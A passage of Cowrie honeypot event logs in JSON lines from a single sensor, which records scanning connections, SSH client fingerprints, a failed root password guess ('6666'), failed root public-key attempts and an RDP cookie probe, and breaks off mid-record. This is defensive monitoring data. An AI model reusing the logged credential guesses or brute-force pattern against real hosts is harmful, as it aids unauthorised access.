{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:26.892469Z","src_ip":"62.133.63.178","session":"2d9197c2fc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:27.018854Z","src_ip":"62.133.63.178","session":"2d9197c2fc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666","message":"login attempt [root/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:27.400324Z","src_ip":"62.133.63.178","session":"2d9197c2fc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:28.529871Z","src_ip":"62.133.63.178","session":"2d9197c2fc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01452684402466,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:44.352954Z","src_ip":"152.42.224.71","session":"5c314410ffc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5f9ce3e4a5b","protocol":"telnet","message":"New connection: 152.42.224.71:48044 (10.17.0.5:23) [session: a5f9ce3e4a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:50.317998Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d6f7821c389","protocol":"telnet","message":"New connection: 152.42.224.71:48058 (10.17.0.5:23) [session: 5d6f7821c389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:41:55.613037Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dbafb0fd7fd","protocol":"ssh","message":"New connection: 167.172.81.52:57368 (10.17.0.5:22) [session: 2dbafb0fd7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:04.131830Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:04.136968Z","src_ip":"167.172.81.52","session":"2dbafb0fd7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:04.140727Z","src_ip":"167.172.81.52","session":"2dbafb0fd7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.69862866401672,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:06.939698Z","src_ip":"152.42.224.71","session":"75f0f0f8d603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155687332153,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:07.279674Z","src_ip":"46.60.48.98","session":"d00a4e211f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47252,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90a98235085","protocol":"telnet","message":"New connection: 152.42.224.71:47252 (10.17.0.5:23) [session: b90a98235085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:25.987233Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c978c5370e7","protocol":"telnet","message":"New connection: 152.42.224.71:47256 (10.17.0.5:23) [session: 2c978c5370e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:34.691106Z"}
{"eventid":"cowrie.session.closed","duration":53.82617473602295,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:44.144065Z","src_ip":"152.42.224.71","session":"a5f9ce3e4a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.244874477386475,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:46.857765Z","src_ip":"152.42.224.71","session":"5d6f7821c389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178384780884,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:47.852779Z","src_ip":"152.42.224.71","session":"56e9e306c2cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":57202,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5f5a898045","protocol":"ssh","message":"New connection: 89.37.117.71:57202 (10.17.0.5:22) [session: ca5f5a898045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:48.139877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:48.144667Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:48.276257Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:f9:fa:a0:f6:ed:77:73:46:c7:b4:7c:b2:68:cd:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGJeCHqPKpQ52CRQU11ZF9rkah0Sm9EnpVeENIYSBgMZqqJPq/ASnXsxpLHEH0xYK/aH/9w6Ppo6cRK8A++y59F7a8A4Fs0yYLcPp9V/l628C1SOj2dtfvZ6BloP6FoQ3S5D95BhJz74kO6jIsqlQSlBW7O5Cbj9dxYwmgVRRjAeaA1MqRUg37FWTuSrrAwUljSi7ifGxm/cBOXkFeIsk3Vl3elGpmwspa+n+SM8Tqp11kZN+hIuo1NFAZ3Rl4rWZH08G1KSG5Nmq5VHevUhIAk+XbsZeyWap0eAzFbPBkRvrZlm1pZ7+FUZhIeZ2+ZHABYZ2WrjINRcdpwqEXUzd7Bosj1GUQQm6YSrXKHgpnOPau4Cjj9hW3NMvU7l2zW0ecBi9ru0x0D2kG3h0j4YpHQ5VE8G/N3y3406xofBy5vtNk6muMZuR+XkFgq5DxIFcCJE0Gbp9e5dCYeV8wHiEuHVW5AaHI9lpc2NaPqN2FkmihnZmwNKRA4NibJQDczR+2kr+0KUFoPnY5Smy2SAo8PVtO+5VqWE+jTu9IehzgqftURYnCa980JAu1QeXgGrTMt/i2WYuS0VbKuIEabMXpKn55MnKzEpwLcTUIPsWd800ZHLpGXgEILw/XGtsgb5hVbcZ5GFUb6dV7Q+9jddVzCioQRdQFm36cMsGvEPi52w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:f9:fa:a0:f6:ed:77:73:46:c7:b4:7c:b2:68:cd:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:48.901742Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:f9:fa:a0:f6:ed:77:73:46:c7:b4:7c:b2:68:cd:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGJeCHqPKpQ52CRQU11ZF9rkah0Sm9EnpVeENIYSBgMZqqJPq/ASnXsxpLHEH0xYK/aH/9w6Ppo6cRK8A++y59F7a8A4Fs0yYLcPp9V/l628C1SOj2dtfvZ6BloP6FoQ3S5D95BhJz74kO6jIsqlQSlBW7O5Cbj9dxYwmgVRRjAeaA1MqRUg37FWTuSrrAwUljSi7ifGxm/cBOXkFeIsk3Vl3elGpmwspa+n+SM8Tqp11kZN+hIuo1NFAZ3Rl4rWZH08G1KSG5Nmq5VHevUhIAk+XbsZeyWap0eAzFbPBkRvrZlm1pZ7+FUZhIeZ2+ZHABYZ2WrjINRcdpwqEXUzd7Bosj1GUQQm6YSrXKHgpnOPau4Cjj9hW3NMvU7l2zW0ecBi9ru0x0D2kG3h0j4YpHQ5VE8G/N3y3406xofBy5vtNk6muMZuR+XkFgq5DxIFcCJE0Gbp9e5dCYeV8wHiEuHVW5AaHI9lpc2NaPqN2FkmihnZmwNKRA4NibJQDczR+2kr+0KUFoPnY5Smy2SAo8PVtO+5VqWE+jTu9IehzgqftURYnCa980JAu1QeXgGrTMt/i2WYuS0VbKuIEabMXpKn55MnKzEpwLcTUIPsWd800ZHLpGXgEILw/XGtsgb5hVbcZ5GFUb6dV7Q+9jddVzCioQRdQFm36cMsGvEPi52w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:48.905679Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:49:24:4f:b1:ed:1a:ea:50:50:20:5b:57:da:95:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvfM4NVj1Ooap4RPbvP1DakbgmTCb1783I1Nvr+82zeIsIfFU/ZygukrIYOQcgyrJIdg6f9KZ+fEaI3mYYFQJTEIlyWCVPaFdkVOU26/akcFPO89QU0fbih1FlbHkuWOtXzVAv0L6QNImhJSsAzgd7h8/YZJ3v+TszO3Vne+aFR0QOXaANoGGZ30kQNAxz6y/ifzyyeqKFw1ZfQgEl7KZhqVObHci/Ev8/gnwtrWDbY/7ZDbBqARtx+0BHOqomfJnxak4W4GftzXcVxHoE2bF3jb/JCAKvHMj2zkuzDfrD1msMVvifqyj+EoIDEWkTWW8hOjsyOsHvIQjYJ7qRf/iHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:49:24:4f:b1:ed:1a:ea:50:50:20:5b:57:da:95:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.039572Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:49:24:4f:b1:ed:1a:ea:50:50:20:5b:57:da:95:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvfM4NVj1Ooap4RPbvP1DakbgmTCb1783I1Nvr+82zeIsIfFU/ZygukrIYOQcgyrJIdg6f9KZ+fEaI3mYYFQJTEIlyWCVPaFdkVOU26/akcFPO89QU0fbih1FlbHkuWOtXzVAv0L6QNImhJSsAzgd7h8/YZJ3v+TszO3Vne+aFR0QOXaANoGGZ30kQNAxz6y/ifzyyeqKFw1ZfQgEl7KZhqVObHci/Ev8/gnwtrWDbY/7ZDbBqARtx+0BHOqomfJnxak4W4GftzXcVxHoE2bF3jb/JCAKvHMj2zkuzDfrD1msMVvifqyj+EoIDEWkTWW8hOjsyOsHvIQjYJ7qRf/iHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.043291Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:60:29:41:b9:44:68:86:27:1f:23:53:48:14:57:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApld2O5uPkQtkwdZOtb4keCdhCvPz0/DCXRe320TOCAGD3bLt5zVlbHBvTfTXI0QzzJ3vAh2HYQP5CopqWLyd3tyStLanrf2Re6caVSEA+wLQ/2kacX9ctFpBu4SItCuFuCzW/wHvnKH34lNPXs37qK0AZ/47k9N7TufFZ026t6BEg5sun2aJ28nPnytEwpOxyfb3Zuyqu06ebq6mYlsL3dRyb+YxQCKnetSWl91sBvJYj5klPfxnrva1jyHADd3/ZiwUm9yelw14lhli30evX0fJXZczgfhr4wvj6YMTo6PYUb4HnCG2rCWQg7DCC6Oqre61VmxLxgO/z6wW0+pfuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:60:29:41:b9:44:68:86:27:1f:23:53:48:14:57:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.172659Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:60:29:41:b9:44:68:86:27:1f:23:53:48:14:57:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApld2O5uPkQtkwdZOtb4keCdhCvPz0/DCXRe320TOCAGD3bLt5zVlbHBvTfTXI0QzzJ3vAh2HYQP5CopqWLyd3tyStLanrf2Re6caVSEA+wLQ/2kacX9ctFpBu4SItCuFuCzW/wHvnKH34lNPXs37qK0AZ/47k9N7TufFZ026t6BEg5sun2aJ28nPnytEwpOxyfb3Zuyqu06ebq6mYlsL3dRyb+YxQCKnetSWl91sBvJYj5klPfxnrva1jyHADd3/ZiwUm9yelw14lhli30evX0fJXZczgfhr4wvj6YMTo6PYUb4HnCG2rCWQg7DCC6Oqre61VmxLxgO/z6wW0+pfuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.175943Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:1a:85:3a:a4:01:c9:7d:fa:74:d2:b0:18:a0:01:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+yVxGlIzvunxMQc68NxcbTV5ukzaO5KROzvm8wW2r38+LgN7Qpw1vBHg293Rib6uRla6YlAFCFjn8a3+Tol0un62EgG+ASTzE7q+UcWLQeCl71hg/LqrYdiTly9tAfBtJwjMZHmQQYTB5UT8tHSxlYleSH7w5arKMBiezSH/FhTriWvVZIrOY4cPyxgYM1PG34LFKAqtxptHpmvCHcxHTQ7M+RzkgZ5lNn7SWHRIUF8jYkvLcU8RRDYtxt5jSXIz3+sKxQQFEy6RN3dXvIsRK7/r0QlYkOZ5S9Xo+LW75L0zyiKBhxbVH+zLVZ2xbUWuogfE8UpjF37j7c2d61psiXUZmRs4piiMSJq7J/MiO8/m9pj+Yw1o391J81j1J0PFEEE116fHKXODaNQBVsm1ArhT9uQpraAER26R4WIa5mCSbx4jZ/h6Qcy1eZ7I3zzcqfac8awGVa3Y5qCC+k1T4dYbeY90ThziOjSphTCZm9+ALdYmgZr7NXuR6iELK7ppuXBMD2lGVgdzXBFnX7xYA7To5SU2U9GRpOs5MKXvlcG/9kSjh9oQ852JiyXzEh0PE8VRwPM8FLKM/IXzNkEoz7bKpcBXx+QUv8F47QoJx6//iLoLVzF3BSIwqDwtJCYii65c7KDFbXlSBj7WNMqbdvMdEN7qD3cNNBP84z6xruw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:1a:85:3a:a4:01:c9:7d:fa:74:d2:b0:18:a0:01:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.304977Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:1a:85:3a:a4:01:c9:7d:fa:74:d2:b0:18:a0:01:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+yVxGlIzvunxMQc68NxcbTV5ukzaO5KROzvm8wW2r38+LgN7Qpw1vBHg293Rib6uRla6YlAFCFjn8a3+Tol0un62EgG+ASTzE7q+UcWLQeCl71hg/LqrYdiTly9tAfBtJwjMZHmQQYTB5UT8tHSxlYleSH7w5arKMBiezSH/FhTriWvVZIrOY4cPyxgYM1PG34LFKAqtxptHpmvCHcxHTQ7M+RzkgZ5lNn7SWHRIUF8jYkvLcU8RRDYtxt5jSXIz3+sKxQQFEy6RN3dXvIsRK7/r0QlYkOZ5S9Xo+LW75L0zyiKBhxbVH+zLVZ2xbUWuogfE8UpjF37j7c2d61psiXUZmRs4piiMSJq7J/MiO8/m9pj+Yw1o391J81j1J0PFEEE116fHKXODaNQBVsm1ArhT9uQpraAER26R4WIa5mCSbx4jZ/h6Qcy1eZ7I3zzcqfac8awGVa3Y5qCC+k1T4dYbeY90ThziOjSphTCZm9+ALdYmgZr7NXuR6iELK7ppuXBMD2lGVgdzXBFnX7xYA7To5SU2U9GRpOs5MKXvlcG/9kSjh9oQ852JiyXzEh0PE8VRwPM8FLKM/IXzNkEoz7bKpcBXx+QUv8F47QoJx6//iLoLVzF3BSIwqDwtJCYii65c7KDFbXlSBj7WNMqbdvMdEN7qD3cNNBP84z6xruw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.309045Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:d1:6f:c0:af:3c:f4:22:b1:e4:fc:3d:03:8c:b9:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5YAqpOiFfSDFkiix/O5hO3/wQIyqQUHG17CMnZLeCZnCowI8LBwZ10WK3ZshEVl+aKF3cb1aJTFrFApCQiX0MN4A6jjAkGluWZO0F8cDN0EI0f8Ts9iLQQJhlbxj4iDf5BsyDX6pHnAZ4s8+DV9vc3v7g7hYXjpD40n3cQcNc4gcRE6ZxbgEl/apF19Mgi3JcH5A982Y7dBEqvE1S2vXe3dvPIkMyb7YwpGpEvZkNowJjd3ErkygO+ecIAlxsu0kvkCnB7tyEOEmIldgOGuyvgxbKTD2R4qrN08TWigQMN3PLigpqsMy122lkC5Kj+yHjHfhwwvgzpvCtYmK504Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:d1:6f:c0:af:3c:f4:22:b1:e4:fc:3d:03:8c:b9:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.439406Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:d1:6f:c0:af:3c:f4:22:b1:e4:fc:3d:03:8c:b9:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5YAqpOiFfSDFkiix/O5hO3/wQIyqQUHG17CMnZLeCZnCowI8LBwZ10WK3ZshEVl+aKF3cb1aJTFrFApCQiX0MN4A6jjAkGluWZO0F8cDN0EI0f8Ts9iLQQJhlbxj4iDf5BsyDX6pHnAZ4s8+DV9vc3v7g7hYXjpD40n3cQcNc4gcRE6ZxbgEl/apF19Mgi3JcH5A982Y7dBEqvE1S2vXe3dvPIkMyb7YwpGpEvZkNowJjd3ErkygO+ecIAlxsu0kvkCnB7tyEOEmIldgOGuyvgxbKTD2R4qrN08TWigQMN3PLigpqsMy122lkC5Kj+yHjHfhwwvgzpvCtYmK504Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.443323Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:42:49.577677Z","src_ip":"89.37.117.71","session":"ca5f5a898045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.017956495285034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:04.005062Z","src_ip":"152.42.224.71","session":"b90a98235085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":106.63678932189941,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:06.933967Z","src_ip":"152.42.224.71","session":"071ab8806c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53841781616211,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:11.229373Z","src_ip":"152.42.224.71","session":"2c978c5370e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":25990,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3ffe23658f8","protocol":"ssh","message":"New connection: 45.156.87.69:25990 (159.203.135.109:22) [session: e3ffe23658f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:14.486535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:43:14.491540Z","src_ip":"45.156.87.69","session":"e3ffe23658f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"